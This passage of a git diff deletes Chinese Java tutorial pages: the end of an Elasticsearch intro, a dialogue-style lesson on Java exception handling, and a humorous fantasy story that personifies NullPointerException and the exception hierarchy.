IndexRequest 对象后,可以调用客户端的 `index()` 方法向 Elasticsearch 服务器添加索引。 - -3)GetRequest 用于向 Elasticsearch 服务器端发送一个 get 请求,参数为索引关键字,以及 id。 - -有了 GetRequest 对象后,可以调用客户端的 `get()` 方法向 Elasticsearch 服务器获取索引。`getSourceAsString()` 用于从响应中获取文档数据源(JSON 字符串的形式)。 - -好了,来看一下程序的输出结果: - -``` -{"name":"沉默王二","age":18,"memo":"一枚有趣的程序员"} -``` - -完全符合我们的预期,perfect! - -也可以通过 Kibana 的 Dev Tools 面板查看“writer”索引,结果如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/elasticsearch/rumen-64baa243-0075-436e-a070-f28813fee284.jpg) - - - - -### 06、鸣谢 - -好了,我亲爱的小伙伴们,以上就是本文的全部内容了,是不是看完后很想实操一把 Elasticsearch,赶快行动吧!如果你在学习的过程中遇到了问题,欢迎随时和我交流,虽然我也是个菜鸟,但我有热情啊。 - -另外,如果你想写入门级别的文章,这篇就是最好的范例。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/exception/gailan.md b/docs/src/exception/gailan.md deleted file mode 100644 index a73ad6dea7..0000000000 --- a/docs/src/exception/gailan.md +++ /dev/null @@ -1,494 +0,0 @@ ---- -title: 一文彻底搞懂Java异常处理,YYDS -shortTitle: Java异常处理全面解析 -category: - - Java核心 -tag: - - 异常处理 -description: 本文详细介绍了Java异常处理的基本概念、种类和原则,以及如何使用try-catch-finally和throw、throws关键字进行异常处理。通过实际案例和代码示例,帮助读者掌握Java异常处理的关键技巧,提高编程中的错误检测与处理能力。 -head: - - - meta - - name: keywords - content: Java,Java异常处理, try-catch-finally, throw, throws,异常处理,java 异常处理 ---- - -### 01、什么是异常 - -“二哥,今天就要学习异常了吗?”三妹问。 - -“是的。只有正确地处理好异常,才能保证程序的可靠性,所以异常的学习还是很有必要的。”我说。 - -“那到底什么是异常呢?”三妹问。 - -“异常是指中断程序正常执行的一个不确定的事件。当异常发生时,程序的正常执行流程就会被打断。一般情况下,程序都会有很多条语句,如果没有异常处理机制,前面的语句一旦出现了异常,后面的语句就没办法继续执行了。” - -“有了异常处理机制后,程序在发生异常的时候就不会中断,我们可以对异常进行捕获,然后改变程序执行的流程。” - -“除此之外,异常处理机制可以保证我们向用户提供友好的提示信息,而不是程序原生的异常信息——用户根本理解不了。” - -“不过,站在开发者的角度,我们更希望看到原生的异常信息,因为这有助于我们更快地找到 bug 的根源,反而被过度包装的异常信息会干扰我们的视线。” - -“Java 语言在一开始就提供了相对完善的异常处理机制,这种机制大大降低了编写可靠程序的门槛,这也是 Java 之所以能够流行的原因之一。” - -“那导致程序抛出异常的原因有哪些呢?”三妹问。 - -比如说: - -- 程序在试图打开一个不存在的文件; -- 程序遇到了网络连接问题; -- 用户输入了糟糕的数据; -- 程序在处理算术问题时没有考虑除数为 0 的情况; - -等等等等。 - -挑个最简单的原因来说吧。 - -```java -public class Demo { - public static void main(String[] args) { - System.out.println(10/0); - } -} -``` - -这段代码在运行的时候抛出的异常信息如下所示: - -``` -Exception in thread "main" java.lang.ArithmeticException: / by zero - at com.itwanger.s41.Demo.main(Demo.java:8) -``` - -“你看,三妹,这个原生的异常信息对用户来说,显然是不太容易理解的,但对于我们开发者来说,简直不要太直白了——很容易就能定位到异常发生的根源。” - -### 02、Exception和Error的区别 - -“哦,我知道了。下一个问题,我经常看到一些文章里提到 Exception 和 Error,二哥你能帮我解释一下它们之间的区别吗?”三妹问。 - -“这是一个好问题呀,三妹!” - -从单词的释义上来看,error 为错误,exception 为异常,错误的等级明显比异常要高一些。 - -从程序的角度来看,也的确如此。 - -Error 的出现,意味着程序出现了严重的问题,而这些问题不应该再交给 Java 的异常处理机制来处理,程序应该直接崩溃掉,比如说 OutOfMemoryError,内存溢出了,这就意味着程序在运行时申请的内存大于系统能够提供的内存,导致出现的错误,这种错误的出现,对于程序来说是致命的。 - -Exception 的出现,意味着程序出现了一些在可控范围内的问题,我们应当采取措施进行挽救。 - -比如说之前提到的 ArithmeticException,很明显是因为除数出现了 0 的情况,我们可以选择捕获异常,然后提示用户不应该进行除 0 操作,当然了,更好的做法是直接对除数进行判断,如果是 0 就不进行除法运算,而是告诉用户换一个非 0 的数进行运算。 - -### 03、checked和unchecked异常 - -“三妹,还能想到其他的问题吗?” - -“嗯,不用想,二哥,我已经提前做好预习工作了。”三妹自信地说,“异常又可以分为 checked 和 unchecked,它们之间又有什么区别呢?” - -“哇,三妹,果然又是一个好问题呢。” - -checked 异常(检查型异常)在源代码里必须显式地捕获或者抛出,否则编译器会提示你进行相应的操作;而 unchecked 异常(非检查型异常)就是所谓的运行时异常,通常是可以通过编码进行规避的,并不需要显式地捕获或者抛出。 - -“我先画一幅思维导图给你感受一下。” - -![](https://cdn.paicoding.com/studymore/gailan-20230326090207.png) - -首先,Exception 和 Error 都继承了 Throwable 类。换句话说,只有 Throwable 类(或者子类)的对象才能使用 throw 关键字抛出,或者作为 catch 的参数类型。 - -面试中经常问到的一个问题是,NoClassDefFoundError 和 ClassNotFoundException 有什么区别? - -“三妹你知道吗?” - -“不知道,二哥,你解释下呗。” - -它们都是由于系统运行时找不到要加载的类导致的,但是触发的原因不一样。 - -- NoClassDefFoundError:程序在编译时可以找到所依赖的类,但是在运行时找不到指定的类文件,导致抛出该错误;原因可能是 jar 包缺失或者调用了初始化失败的类。 -- ClassNotFoundException:当动态加载 Class 对象的时候找不到对应的类时抛出该异常;原因可能是要加载的类不存在或者类名写错了。 - - -其次,像 IOException、ClassNotFoundException、SQLException 都属于 checked 异常;像 RuntimeException 以及子类 ArithmeticException、ClassCastException、ArrayIndexOutOfBoundsException、NullPointerException,都属于 unchecked 异常。 - -unchecked 异常可以不在程序中显示处理,就像之前提到的 ArithmeticException 就是的;但 checked 异常必须显式处理。 - -比如说下面这行代码: - -```java -Class clz = Class.forName("com.itwanger.s41.Demo1"); -``` - -如果没做处理,比如说在 Intellij IDEA 环境下,就会提示你这行代码可能会抛出 `java.lang.ClassNotFoundException`。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/exception/gailan-02.png) - -建议你要么使用 try-catch 进行捕获: - -```java -try { - Class clz = Class.forName("com.itwanger.s41.Demo1"); -} catch (ClassNotFoundException e) { - e.printStackTrace(); -} -``` - -注意打印异常堆栈信息的 `printStackTrace()` 方法,该方法会将异常的堆栈信息打印到标准的控制台下,如果是测试环境,这样的写法还 OK,如果是生产环境,这样的写法是不可取的,必须使用日志框架把异常的堆栈信息输出到日志系统中,否则可能没办法跟踪。 - -要么在方法签名上使用 throws 关键字抛出: - -```java -public class Demo1 { - public static void main(String[] args) throws ClassNotFoundException { - Class clz = Class.forName("com.itwanger.s41.Demo1"); - } -} -``` - -这样做的好处是不需要对异常进行捕获处理,只需要交给 Java 虚拟机来处理即可;坏处就是没法针对这种情况做相应的处理。 - -“二哥,针对 checked 异常,我在知乎上看到一个帖子,说 Java 中的 checked 很没有必要,这种异常在编译期要么 try-catch,要么 throws,但又不一定会出现异常,你觉得这样的设计有意义吗?”三妹提出了一个很尖锐的问题。 - -“哇,这种问题问的好。”我不由得对三妹心生敬佩。 - -“的确,checked 异常在业界是有争论的,它假设我们捕获了异常,并且针对这种情况作了相应的处理,但有些时候,根本就没法处理。”我说,“就拿上面提到的 ClassNotFoundException 异常来说,我们假设对其进行了 try-catch,可真的出现了 ClassNotFoundException 异常后,我们也没多少的可操作性,再 `Class.forName()` 一次?” - -另外,checked 异常也不兼容函数式编程,后面如果你写 Lambda/Stream 代码的时候,就会体验到这种苦涩。 - -当然了,checked 异常并不是一无是处,尤其是在遇到 IO 或者网络异常的时候,比如说进行 Socket 链接,我大致写了一段: - -```java -public class Demo2 { - private String mHost; - private int mPort; - private Socket mSocket; - private final Object mLock = new Object(); - - public void run() { - } - - private void initSocket() { - while (true) { - try { - Socket socket = new Socket(mHost, mPort); - synchronized (mLock) { - mSocket = socket; - } - break; - } catch (IOException e) { - e.printStackTrace(); - } - } - } -} -``` - -当发生 IOException 的时候,socket 就重新尝试连接,否则就 break 跳出循环。意味着如果 IOException 不是 checked 异常,这种写法就略显突兀,因为 IOException 没办法像 ArithmeticException 那样用一个 if 语句判断除数是否为 0 去规避。 - -或者说,强制性的 checked 异常可以让我们在编程的时候去思考,遇到这种异常的时候该怎么更优雅的去处理。显然,Socket 编程中,肯定是会遇到 IOException 的,假如 IOException 是非检查型异常,就意味着开发者也可以不考虑,直接跳过,交给 Java 虚拟机来处理,但我觉得这样做肯定更不合适。 - -### 04、关于 throw 和 throws - -“二哥,你能告诉我 throw 和 throws 两个关键字的区别吗?”三妹问。 - -“throw 关键字,用于主动地抛出异常;正常情况下,当除数为 0 的时候,程序会主动抛出 ArithmeticException;但如果我们想要除数为 1 的时候也抛出 ArithmeticException,就可以使用 throw 关键字主动地抛出异常。”我说。 - -```java -throw new exception_class("error message"); -``` - -语法也非常简单,throw 关键字后跟上 new 关键字,以及异常的类型还有参数即可。 - -举个例子。 - -```java -public class ThrowDemo { - static void checkEligibilty(int stuage){ - if(stuage<18) { - throw new ArithmeticException("年纪未满 18 岁,禁止观影"); - } else { - System.out.println("请认真观影!!"); - } - } - - public static void main(String args[]){ - checkEligibilty(10); - System.out.println("愉快地周末.."); - } -} -``` - -这段代码在运行的时候就会抛出以下错误: - -``` -Exception in thread "main" java.lang.ArithmeticException: 年纪未满 18 岁,禁止观影 - at com.itwanger.s43.ThrowDemo.checkEligibilty(ThrowDemo.java:9) - at com.itwanger.s43.ThrowDemo.main(ThrowDemo.java:16) -``` - -“throws 关键字的作用就和 throw 完全不同。”我说,“前面的小节里已经讲了 checked exception 和 unchecked exception,也就是检查型异常和非检查型异常;对于检查型异常来说,如果你没有做处理,编译器就会提示你。” - -`Class.forName()` 方法在执行的时候可能会遇到 `java.lang.ClassNotFoundException` 异常,一个检查型异常,如果没有做处理,IDEA 就会提示你,要么在方法签名上声明,要么放在 try-catch 中。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/exception/throw-throws-01.png) - -“那什么情况下使用 throws 而不是 try-catch 呢?”三妹问。 - -“假设现在有这么一个方法 `myMethod()`,可能会出现 ArithmeticException 异常,也可能会出现 NullPointerException。这种情况下,可以使用 try-catch 来处理。”我回答。 - -```java -public void myMethod() { - try { - // 可能抛出异常 - } catch (ArithmeticException e) { - // 算术异常 - } catch (NullPointerException e) { - // 空指针异常 - } -} -``` - -“但假设有好几个类似 `myMethod()` 的方法,如果为每个方法都加上 try-catch,就会显得非常繁琐。代码就会变得又臭又长,可读性就差了。”我继续说。 - -“一个解决办法就是,使用 throws 关键字,在方法签名上声明可能会抛出的异常,然后在调用该方法的地方使用 try-catch 进行处理。” - -```java -public static void main(String args[]){ - try { - myMethod1(); - } catch (ArithmeticException e) { - // 算术异常 - } catch (NullPointerException e) { - // 空指针异常 - } -} -public static void myMethod1() throws ArithmeticException, NullPointerException{ - // 方法签名上声明异常 -} -``` - -“好了,我来总结下 throw 和 throws 的区别,三妹,你记一下。” - - 1)throws 关键字用于声明异常,它的作用和 try-catch 相似;而 throw 关键字用于显式的抛出异常。 - -2)throws 关键字后面跟的是异常的名字;而 throw 关键字后面跟的是异常的对象。 - -示例。 - -```java -throws ArithmeticException; -``` - -```java -throw new ArithmeticException("算术异常"); -``` - -3)throws 关键字出现在方法签名上,而 throw 关键字出现在方法体里。 - -4)throws 关键字在声明异常的时候可以跟多个,用逗号隔开;而 throw 关键字每次只能抛出一个异常。 - -### 05、关于 try-catch-finally - -“二哥,之前你讲了异常处理机制,这一节讲什么呢?”三妹问。 - -“该讲 try-catch-finally 了。”我说,“try 关键字后面会跟一个大括号 `{}`,我们把一些可能发生异常的代码放到大括号里;`try` 块后面一般会跟 `catch` 块,用来处理发生异常的情况;当然了,异常不一定会发生,为了保证发不发生异常都能执行一些代码,就会跟一个 `finally` 块。” - -“具体该怎么用呀,二哥?”三妹问。 - -“别担心,三妹,我一一来说明下。”我说。 - -`try` 块的语法很简单: - -```java -try{ -// 可能发生异常的代码 -} -``` - -“注意啊,三妹,如果一些代码确定不会抛出异常,就尽量不要把它包裹在 `try` 块里,因为加了异常处理的代码执行起来要比没有加的花费更多的时间。” - -`catch` 块的语法也很简单: - -```java -try{ -// 可能发生异常的代码 -}catch (exception(type) e(object)){ -// 异常处理代码 -} -``` - -一个 `try` 块后面可以跟多个 `catch` 块,用来捕获不同类型的异常并做相应的处理,当 try 块中的某一行代码发生异常时,之后的代码就不再执行,而是会跳转到异常对应的 catch 块中执行。 - -如果一个 try 块后面跟了多个与之关联的 catch 块,那么应该把特定的异常放在前面,通用型的异常放在后面,不然编译器会提示错误。举例来说。 - -```java -static void test() { - int num1, num2; - try { - num1 = 0; - num2 = 62 / num1; - System.out.println(num2); - System.out.println("try 块的最后一句"); - } catch (ArithmeticException e) { - // 算术运算发生时跳转到这里 - System.out.println("除数不能为零"); - } catch (Exception e) { - // 通用型的异常意味着可以捕获所有的异常,它应该放在最后面, - System.out.println("异常发生了"); - } - System.out.println("try-catch 之外的代码."); -} -``` - -“为什么 Exception 不能放到 ArithmeticException 前面呢?”三妹问。 - -“因为 ArithmeticException 是 Exception 的子类,它更具体,我们看到就这个异常就知道是发生了算术错误,而 Exception 比较泛,它隐藏了具体的异常信息,我们看到后并不确定到底是发生了哪一种类型的异常,对错误的排查很不利。”我说,“再者,如果把通用型的异常放在前面,就意味着其他的 catch 块永远也不会执行,所以编译器就直接提示错误了。” - -“再给你举个例子,注意看,三妹。” - -```java -static void test1 () { - try{ - int arr[]=new int[7]; - arr[4]=30/0; - System.out.println("try 块的最后"); - } catch(ArithmeticException e){ - System.out.println("除数必须是 0"); - } catch(ArrayIndexOutOfBoundsException e){ - System.out.println("数组越界了"); - } catch(Exception e){ - System.out.println("一些其他的异常"); - } - System.out.println("try-catch 之外"); -} -``` - -这段代码在执行的时候,第一个 catch 块会执行,因为除数为零;我再来稍微改动下代码。 - -```java -static void test1 () { - try{ - int arr[]=new int[7]; - arr[9]=30/1; - System.out.println("try 块的最后"); - } catch(ArithmeticException e){ - System.out.println("除数必须是 0"); - } catch(ArrayIndexOutOfBoundsException e){ - System.out.println("数组越界了"); - } catch(Exception e){ - System.out.println("一些其他的异常"); - } - System.out.println("try-catch 之外"); -} -``` - -“我知道,二哥,第二个 catch 块会执行,因为没有发生算术异常,但数组越界了。”三妹没等我把代码运行起来就说出了答案。 - -“三妹,你说得很对,我再来改一下代码。” - -```java -static void test1 () { - try{ - int arr[]=new int[7]; - arr[9]=30/1; - System.out.println("try 块的最后"); - } catch(ArithmeticException | ArrayIndexOutOfBoundsException e){ - System.out.println("除数必须是 0"); - } - System.out.println("try-catch 之外"); -} -``` - -“当有多个 catch 的时候,也可以放在一起,用竖划线 `|` 隔开,就像上面这样。”我说。 - -“这样不错呀,看起来更简洁了。”三妹说。 - -`finally` 块的语法也不复杂。 - -```java -try { - // 可能发生异常的代码 -}catch { - // 异常处理 -}finally { - // 必须执行的代码 -} -``` - -在没有 [`try-with-resources`](https://javabetter.cn/exception/try-with-resources.html) 之前,finally 块常用来关闭一些连接资源,比如说 socket、数据库链接、IO 输入输出流等。 - -```java -OutputStream osf = new FileOutputStream( "filename" ); -OutputStream osb = new BufferedOutputStream(opf); -ObjectOutput op = new ObjectOutputStream(osb); -try{ - output.writeObject(writableObject); -} finally{ - op.close(); -} -``` - -“三妹,注意,使用 finally 块的时候需要遵守这些规则。” - -- finally 块前面必须有 try 块,不要把 finally 块单独拉出来使用。编译器也不允许这样做。 -- finally 块不是必选项,有 try 块的时候不一定要有 finally 块。 -- 如果 finally 块中的代码可能会发生异常,也应该使用 try-catch 进行包裹。 -- 即便是 try 块中执行了 return、break、continue 这些跳转语句,finally 块也会被执行。 - -“真的吗,二哥?”三妹对最后一个规则充满了疑惑。 - -“来试一下就知道了。”我说。 - -```java -static int test2 () { - try { - return 112; - } - finally { - System.out.println("即使 try 块有 return,finally 块也会执行"); - } -} -``` - -来看一下输出结果: - -``` -即使 try 块有 return,finally 块也会执行 -``` - -“那,会不会有不执行 finally 的情况呀?”三妹很好奇。 - -“有的。”我斩钉截铁地回答。 - -- 遇到了死循环。 -- 执行了 `System. exit()` 这行代码。 - -`System.exit()` 和 `return` 语句不同,前者是用来退出程序的,后者只是回到了上一级方法调用。 - -“三妹,来看一下源码的文档注释就全明白了!” - -![](https://cdn.paicoding.com/tobebetterjavaer/images/exception/try-catch-finally-01.png) - -至于参数 status 的值也很好理解,如果是异常退出,设置为非 0 即可,通常用 1 来表示;如果是想正常退出程序,用 0 表示即可。 - -### 06、小结 - -Java 的异常处理是一种重要的机制,可以帮助我们处理程序执行期间发生的错误❎或异常。 - -异常分为两类:Checked Exception 和 Unchecked Exception,其中 Checked Exception 需要在代码中显式地处理或声明抛出,而 Unchecked Exception 不需要在代码中显式地处理或声明抛出。异常处理通常使用 try-catch-finally 块来处理,也可以使用 throws 关键字将异常抛出给调用者处理。 - -下面是 Java 异常处理的一些总结: - -- 使用 try-catch 块捕获并处理异常,可以避免程序因异常而崩溃。 -- 可以使用多个 catch 块来捕获不同类型的异常,并进行不同的处理。 -- 可以使用 finally 块来执行一些必要的清理工作,无论是否发生异常都会执行。 -- 可以使用 throw 关键字手动抛出异常,用于在程序中明确指定某些异常情况。 -- 可以使用 throws 关键字将异常抛出给调用者处理,用于在方法签名中声明可能会出现的异常。 -- Checked Exception 通常是由于外部因素导致的问题,需要在代码中显式地处理或声明抛出。 -- Unchecked Exception 通常是由于程序内部逻辑或数据异常导致的,可以不处理或者在需要时进行处理。 -- 在处理异常时,应该根据具体的异常类型进行处理,例如可以尝试重新打开文件、重新建立网络连接等操作。 -- 异常处理应该根据具体的业务需求和设计原则进行,避免过度捕获和处理异常,从而降低程序的性能和可维护性。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/exception/npe.md b/docs/src/exception/npe.md deleted file mode 100644 index 1f86928b00..0000000000 --- a/docs/src/exception/npe.md +++ /dev/null @@ -1,236 +0,0 @@ ---- -title: Java空指针NullPointerException的传说 -shortTitle: 空指针的传说 -category: - - Java核心 -tag: - - 异常处理 -description: 本文详细解析了Java编程中的空指针异常(NullPointerException)现象,从产生原因、常见场景到预防方法,为您揭开NullPointerException的神秘面纱。文章还提供了实际代码示例,帮助您理解如何在实际开发中避免空指针异常,提高代码的健壮性和可靠性。 -head: - - - meta - - name: keywords - content: java,npe,NullPointerException ---- - - -**空指针**,号称天下最强刺客。 - -他原本不叫这个名字,空指针原本复姓**异常**,空指针只不过是他的武器,但他杀戮过多,渐渐地人们只记住了空指针这三个字。 - -天下武功,唯快不破,空指针的针,以快和诡异著称,稍有不慎,便是伤亡。 - -... ... - -我叫王二,我来到这个奇怪的世界已经一年了,我等了一年,穿越附赠的老爷爷、戒指、系统什么的我到现在都没发现。 - -而且这个世界看起来也太奇怪了,这里好像叫什么 **Java** 大陆,我只知道这个世界的最强者叫做 **Object**,听说是什么道祖级的存在,我也不知道是什么意思,毕竟我现在好像还是个菜鸡,别的主角一年都应该要飞升仙界了吧,我还连个小火球都放不出来。 - -哦,对了,上面的那段话是我在茶馆喝茶的时候听说书的先生说的,总觉得空指针这个名字怪怪的,好像在什么地方听说过。 - -我的头痛的毛病又犯了,我已经记不起来我为什么来到这里了,我只记得我的名字叫王二,其他的,我只感觉这个奇怪的世界有一种熟悉,但是我什么都记不起来了。 - -算了,得过且过吧。 - -我准备去找空指针了,虽然听说他很可怕,但是好像听说他不是嗜杀之人,应该不会滥杀无辜吧,目前为止,我也只对这三个字有熟悉的感觉了,我一定要找到他,找回我的记忆! - -我打听了很久,原来空指针是**异常组织**的三代嫡传,异常组织是这个世界上最恐怖的杀手组织,空指针就是异常现在最出色的刺客。 - -听说空指针出生的时候,脖子上就挂着一根针,整个 Java 大陆雪下一月不停,Linux 森林多块陆地直接沉陷,于是他的父亲 **RuntimeException** 就给他起了空指针这个名字。 - -空指针出生的天生异象也引起了异常组织高层的注意,听说他的祖父 **Exception**,还有整个异常组织的领军人物 **Throwable** 都亲自接见了空指针,并且认为空指针天赋异禀,未来可期。 - -要知道,**Throwable** 可是 **Object** 亲自任命的异常组织头领。作为 Object 最值得信任的亲信,跟随 Object 万年以来,所有的脏活累活都依靠 Thrwoable 创立的异常组织来处理,真可谓一人之下,万人之上。 - -Throwable 只有两个亲子,就是 Error 和 Exception,传说中 Error 心狠手辣,手下无一活口,见过 Error 的人还能活下来的寥寥无几。 - -整个大陆只有他们恐怖的传说,谁也不知道他们什么时候出现,但是一旦他们出现,基本宣告着你已经是个死人了。 - -而我听说过最恐怖的就是`OutOfMemoryError` 和 `StackOverflowError` 这两位刺客,因为大陆上永远有一座风云榜悬挂在帝都门口,而这两位,一直位居杀手榜榜首位置,空指针也只只能屈居第三而已。当然,大陆不少人都认为空指针会后来居上。 - -我的消息只是打听到这么多,接下来的日子,我走过无数的城市、荒野,我穿过沙漠、丛林,这一天,终于,我来到了大陆的帝都--**堆**。 - -这个名字听起来也有点耳熟,不管他,先进城再说。 - -进城后我发现这里非常诡异,整座城市好像都非常年轻,好像连一个成年人都没有!街道上熙熙攘攘竟然都是年轻人。 - -带着疑惑,我走进了一家叫做*同福客栈*的酒楼。 - -”客官,打尖还是住店啊?“一个小二模样的*小孩*带着一丝谄媚的对我说。 - -”住店,带我去最好的房间,这些钱先押你这里,不够再跟我要。“一路走来,对于这些地方的行情我也算轻车熟路了。 - -”小朋友,这里是怎么回事?你们这里没有大人吗?“我一边走一边问这个只有我一半身高的小孩,根据我目测,他身高不超过1米,应该还只有七八岁的样子,难道这里的商人如此黑心,竟然雇佣童工,不过这也不貌似不对,因为周围的客人好像也都是这般年纪,他们竟然还有在抽烟喝酒的! - -”客官可真幽默,不过我看客官应该是刚来帝都,不瞒您说,整个帝都就基本没有超过15岁的人,超过15的据说都在叫做老年区的养老去了!就拿我来说吧,我今年可不小了,我都8岁了,像我这般年纪的已经半截腿迈进棺材咯。哎,这身子也是一年不如一年了。“ - -看着这个小二一脸认真的样子,我越发觉得这座城市诡异起来了!8岁,什么鬼?8岁不是应该在家里看喜羊羊吗?!还半截腿迈进棺材! - -”可是你看我比你高这么多,你不觉得奇怪吗?“我奇怪的问他。 - -”有什么好奇怪的,要不是我小时候喝多了三鹿,没准我也长这么高了!“小二有点生气的对我说。 - -行吧,再说两句把他激怒了,跳起来打我膝盖就大事不妙了。 - -接下来的几天,经过我的打探,原来我在的地方是叫做年轻区,整个帝都就只有这两个区域,年轻区的人年龄确实没有超过15岁的,有些人刚出生没几天就死了,对此,生活在这里的人也见怪不怪了。对于他们来说,寄希望能活到超过15岁进入老年区养老就是他们的梦想。 - -我在怀疑是不是异常组织在这里暗杀,可是发现结果并不是,这里的人貌似已经习惯了,生活对他们来说就是随便活活就好了,每次的死亡对于他们来说毫无征兆,可能刚踢着球呢,就突然挂了,有的上着厕所突然就死了,临死前连个屁股都没擦,不说了,有点恶心。 - -就在我等的不耐烦想打算去老年区看看的时候,一个穿着黑衣的人找到了我。 - -”你是谁?“我警惕的问他。 - -”本座IOException。“黑衣人神情冰冷的看着我说。 - -”你找我什么事?“ - -”这些你不用知道,跟我走一趟吧!“ - -我刚想说话拒绝,开什么玩笑,跟你们异常组打交道的人非死即残,谁要跟你去。 - -但是由不得我拒绝,我只感觉一阵天旋地转,我感觉我在天上飞,然后我就失去了意识。当我醒来的时候,我发现我躺在一张巨大的床上,桌子上点着一支檀香,整个房间只有一张桌子、一把椅子和我躺的地方。 - -房间很小,应该只有10几个平方,但是我竟然又有一种熟悉的感觉,这种感觉萦绕在我心头挥散不去。 - -没等我再想更多,房门打开了。 - -”是你,你把我带来干什么?“ - -”走吧,有人要见你。“ - -还是不容我抗拒,如果我的战斗力是5的话,我想,IO他该有好几万了吧。 - -又是这该死的眩晕感,不过这次没有几秒钟,我就发现我在一个花园里,花园中间一个身穿黄袍的中年人正在慢悠悠的喝茶。在他身上我感受不到任何强大的气息,甚至不如IOException给我的压迫感强烈。这是谁? - -不等我思绪飘飞,IOException弯腰躬身说道:”陛下,人带过来了。“ - -”嗯,你退下吧。“中年人转过身来,脸上丝毫看不出情绪的说道。 - -我大概猜到了这是哪里了,于是也放下心来,在这里,或许能找到我的答案。 - -反正他要对我怎么样,我也没有办法反抗,我径直坐到他的对面,看着他说:”您就是Object陛下吧,不知找我所谓何事?“ - -中年人也不在意,没有正面回答我的问题,反而略带一丝调侃的说道:”不用咬文嚼字,说点正常人的话吧。“ - -... ... - -这不按套路出牌啊,我这不是来久了,模仿你们古代人说话嘛,怎么还埋怨起我来了?! - -”那我就直说了,我想知道空指针在哪里。“ - -”空指针就在皇宫轮值,你找他干嘛?“ - -”我暂时不能说“ - -”呵呵,你就不好奇我为什么知道你,为什么又把你带过来?“ - -”好奇,可是我就是不想问。“ - -Object喝了口茶,不紧不慢的回道:”年轻人有性格是好事,可是过刚易折的道理你应该明白。“ - -”我不明白,我在这里反正也没看见什么老人,当然,除了你。“我理所当然的认为这肯定是Object搞得鬼,整个帝都都是小朋友,要是没有猫腻,骗鬼呢! - -Object听到这话,皱了皱眉,他沉默了一会儿,缓缓站起身子走到一颗柳树下,背着手说道:“你不知道这一切是为什么吗?” - -废话,我当然不知道了,我知道还能问你吗?! - -又是沉默... ...这个气氛让我感觉很不舒服。就在我受不了想说话的时候,Object突然说了一句:“带他去见空指针吧。” - -“是,陛下!”突然,一个身穿红袍的枯瘦老者出现在我背后,把我吓了一跳。 - -我也不想再多生事端,直觉告诉我这里不是久留之地,虽然有点莫名其妙,我还是跟着红袍老者来走了。 - -... ... - -“陛下,是他吗?”一个光头大汉的身影在半空若影若现的说道。 - -“还不能确定... 不过,留给我们的时间不多了,下一次的轮回就快来了。” - -“轮回,又是轮回。我们还有希望吗?”大汉呢喃着,不知道是对自己说还是对中年人说。 - -中年人依然背着手,抬头望着漫天的柳絮说道:“这一世,该是个了断了。” - -... ... - -没多久,他把我带到一个房间门口,也是面无表情的说道:“进去吧,空指针就在里面。” - -我挺住脚步,转过身问他:“你是谁?我们是不是见过?” - -红袍老者怪异一笑:“也许吧,老夫`IndexOutOfBoundsException`,空指针便是我好友。” - -这个名字可真长,我听说过他,据传闻他的实力也非常之强,可能不下于空指针,都是以诡异的出手角度著称,不过相比于空指针的大名,他好像更低调,难怪在皇宫当个老太监一般。 - -我也不在多想,点点头,走进了房间。刚进房间,我就看见一个一身白衣的身影背对着我,笔直的身影好像要冲破天际,身上的气势强大无比,至少在我见过的所有人里足以排进前三了。空指针,果然名不虚传! - -我走到房间中央,环目四望才发现这好像是一座祠堂的样子,就在我还在打量四周之际,一道清冷的声音传到我的耳边: - -“你身上的气息让我非常讨厌!” - -他转过身来,我发现我根本看不清空指针长什么样子,他的脸好像打上了马赛克。听到他的话,我心里的疑惑更多了,我只是觉得他的气息让我感到非常熟悉,他的话让我有点莫名其妙。于是我试探道: - -“你知道我是谁?” - -听到我的话,他一步步走进我,在我身边闻了闻,这让我什么一紧,虽然我想搞清楚我身上的问题,但是我不是出卖肉体的人,我退后一步说: - -“你想干嘛?” - -空指针皱紧了眉头,仿佛自言自语道:“不对,不对,这是... 规则的气息?可是他明明身上没有任何能量波动。” - -我见他好像魔怔了,仿佛在思考什么,于是迈步走到他刚才站立的地方看着前面,原来,这是他们的族谱!这里是异常的祠堂! - -![](https://cdn.paicoding.com/tobebetterjavaer/images/exception/npe-1.jpg) - -看完这张族谱,我恍然大悟,好像明白了什么。突然,我的脑袋里出现了一个冰冷的机器声音:“获取异常族谱,历练完成度+100。” - -我Kao,系统,这是系统啊,我不禁内牛满面,啥任务系统啊,一点提示都没有,我赶紧喊道: - -“系统,系统,还在吗?在线等,挺着急的。”可是没有任何回复!这啥破系统!就在我想破口大骂的时候,空指针看到我和个二傻子似的大呼小叫,突然一脸不可思议的对着我说: - -“你明悟了规则?” - -我愣了愣,嗯?难道我不是战5渣了?规则之力?好像是很高端的样子啊? - -“撒豆成兵!” - -“呼风!” - -”唤雨!“ - -”临兵斗者皆阵列在前!“ - -一点反应都没有。。。啥玩意儿?还规则之力?九字真言都没用啊? - -空指针好像都蒙了,他敲了敲太阳穴,无语的看着我说: - -”你不是来找我的吗?说完你的问题,然后给我滚!“ - -对啊,这系统把我整的我都忘记我来干嘛的了,我赶紧说: - -”你认识我对不对,你是不是觉得我有一种熟悉的感觉?我想知道我的来历!“ - -空指针又愣了愣,他看着我,沉默了一会儿,回道:“不知道!” - -我有点奇怪,看他一脸便秘的表情应该是见过我的,他一定在撒谎,既然如此... - -“那你告诉我你们有什么办法能在你们异常的攻击下防身吧?” - -空指针大怒,刚想起身说话,空中突然传来一道声音:答应他的要求! - -他冷哼一声,丢给我一本书,上面写着**catch**一个字,还有一块写着**catch**的令牌,冰冷的说到:“你想知道的都在这里了。”说完,拂袖而去。 - -我看着桌子上的这本书,想了想还是翻阅起来。 - -原来`Exception` 和它的儿子们,除了`RuntimeException` 一支,都叫作`Checked Exception`,我还能用catch令牌来对抗他们的攻击!包括空指针,以后我就不怕他们了! - 